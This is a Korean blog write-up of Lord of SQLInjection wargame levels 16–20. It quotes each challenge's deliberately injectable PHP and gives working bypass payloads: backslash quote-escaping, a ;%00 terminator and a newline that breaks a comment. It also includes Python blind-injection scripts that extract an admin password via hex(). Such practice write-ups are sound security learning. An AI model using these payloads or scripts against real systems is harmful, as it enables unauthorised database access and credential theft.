Home Lord Of SQL (16번~20번)
Post
Cancel

Lord Of SQL (16번~20번)

LOS 16~20번

16번 succubus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>
1
id='{$_GET[id]}' and pw='{$_GET[pw]}'

구문을 보면 이렇게 싱글 쿼터가 모두 들어가 있다.
이를 간단히 우회하려면 싱글 쿼터를 입력값에 넣어야하는데 필터링을 잘 하고 있다.

이를 우회하는 방법은 \를 사용하면 된다.
마크다운에서도 그렇고, 기타 언어들에 대해서도 특수 문자를 출력할 때 앞에 \를 넣는다.

그러면 뒤에 오는 싱글 쿼터가 문자로 인식이 되므로 구문을 깨트릴 수 있다.

1
2
https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=or%201=1%23
-> query : select id from prob_succubus where id='\' and pw='or 1=1#'

이렇게 되면 id의 인자 값이

1
\' and pw=

가 되고, 우회가 가능해진다.

17번 zombie_assassin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

얘는 strrev(addslashes) 라는 것을 입력 값에 붙인다.
addslashes는 ', ", \ 등을 입력 받으면 앞에 \를 추가한다.
그리고 strrev는 입력받은 문자열을 뒤집는다.

여러모로 CTF에서 나올법한 문제인데 우회는 위의 16번과 비슷하다.
" 더블쿼터를 넣으면 이것이 "\로 들어가면서 뒤에 있는 싱글쿼터가 문자로 인식된다.

1
2
3
4
5
https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id=%22

-> query : select id from prob_zombie_assassin where id='"\' and pw=''

id="\' and pw=

로 인식이 되므로 pw에 입력 문자열이 거꾸로 들어간다는 것만 생각하고 넣으면 된다.

1
2
https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id=%22&pw=%231%20ro
-> query : select id from prob_zombie_assassin where id='"\' and pw='or 1#'

18번 nightmare

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

입력 제한이 최대 6글자이다.
그리고 쿼리를 끊으려면 ')가 기본적으로 들어가야 하므로 자유롭게 쓸 수 있는 글자는 네 글자이다.

우선 주석이 필터링 되어있지만 ;%00으로 sql 구문은 끊을 수 있기에 두 글자를 사용한다.

그러면 pw=('') 구문을 두 글자로 참으로 만들어야 하는데,
SQL에서는 문자열을 숫자와 비교할 때 숫자 없이 문자로만 이루어진 문자열은 0으로 자동 형변환된다.

그렇기에 뒤에 =0을 넣어주면 참으로 만들어서 solve 할 수 있다.

1
2
3
https://los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php?pw=%27)=0;%00

-> query : select id from prob_nightmare where pw=('')=0;') and id!='admin'

19번 xavis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

이번에는 필터링 되어있는 것이 regex, like이 있다.
이런 것들은 이전에 풀었던 코드로 전부 우회가 되므로 그대로 사용했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string
import requests

my_cookies = dict(PHPSESSID="otf7fhtn919o3ug1slmvdq9leq")
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
abc = string.digits + string.ascii_letters

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 30):
    param = "?pw=%27||id in (%22admin%22)%26%26length(pw) in (" + str(length) + ")%23"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if res.text.find("<h2>Hello admin</h2>") > 0:
        idLength = length
        print(f"admin pw length: {idLength}")
        break

if idLength == 0:
    print("Length not found!")
    exit()

그런데 길이까지는 12로 잘 구해지는데, 비번이 안 긁어진다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import string

my_cookies = dict(PHPSESSID="hdvhaj2gskkqq32m6bfvk8tq27") # 본인의 세션 ID 확인
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"

# Hex 값 검사용 리스트 (0~9, A~F)
hex_chars = string.digits + "ABCDEF"

print("=== Step 1: Finding admin hex(pw) length ===")
hexLength = 0

# Hex 길이는 보통 글자 수보다 훨씬 깁니다 (넉넉하게 100까지 탐색)
for length in range(1, 100):
    # length(hex(pw))를 구합니다.
    param = f"?pw=' || id in (\"admin\") %26%26 length(hex(pw))={length} %23"
    
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if "Hello admin" in res.text:
        hexLength = length
        print(f"admin hex(pw) length: {hexLength}")
        break

if hexLength == 0:
    print("Hex Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw (Hex) ===")
result_hex = ""

for i in range(1, hexLength + 1):
    for char in hex_chars:
        # substr(hex(pw), i, 1)로 16진수 값을 한 글자씩 비교
        param = f"?pw=' || id in (\"admin\") %26%26 substr(hex(pw),{i},1)=\"{char}\" %23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if "Hello admin" in res.text:
            result_hex += char
            print(f"{i}번째 hex char: {char} (Current: {result_hex})")
            break

print(f"\n=== Result ===")
print(f"Recovered Hex: {result_hex}")

모르겠어서 검색을 해보니 비밀번호가 한글이라면 단순 글자 비교로 구할 수 없다고 한다.
그래서 hex값으로 비밀번호를 바꾼 후 추출을 했고, 24글자와 hex(pw)값을 구할 수 있었다.

1
2
Recovered Hex: 0000C6B00000C6550000AD73
-> 우왕굳

으로 pw를 구할 수 있다.

20번 dragon

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

구문에 #이 들어가 있어서 뒤에가 주석 처리 되어버린다.

1
query : select id from prob_dragon where id='guest'# and pw=' '

처음부터 이런 상태이기에 Hello guest가 뜬다.

pw에 이것저것 값을 넣어보면 123, 1234 등일 때는 여전히 hello guest가 뜨는데
%0a, %00등을 넣으면 왜인지 hello guest가 사라진다.

#의 주석 범위가 한 줄이기 때문에 %0a(줄 바꿈)을 입력했을 때
주석이 끊긴다는 아이디어를 떠올릴 수 있었고, 이를 통해 우회가 가능하다.

1
2
3
https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%0a%20and%20pw=1234%20or%20id=%27admin%27%23

-> query : select id from prob_dragon where id='guest'# and pw=' and pw=1234 or id='admin'#'

이렇게 하면 #부터 pw=’까지가 주석 처리가 되므로 총 쿼리는

1
query : select id from prob_dragon where id='guest' and pw=1234 or id='admin'#'

가 되고, 일부러 틀린 pw를 넣어주면 id=’admin’이 적용된다.

This post is written by PRO.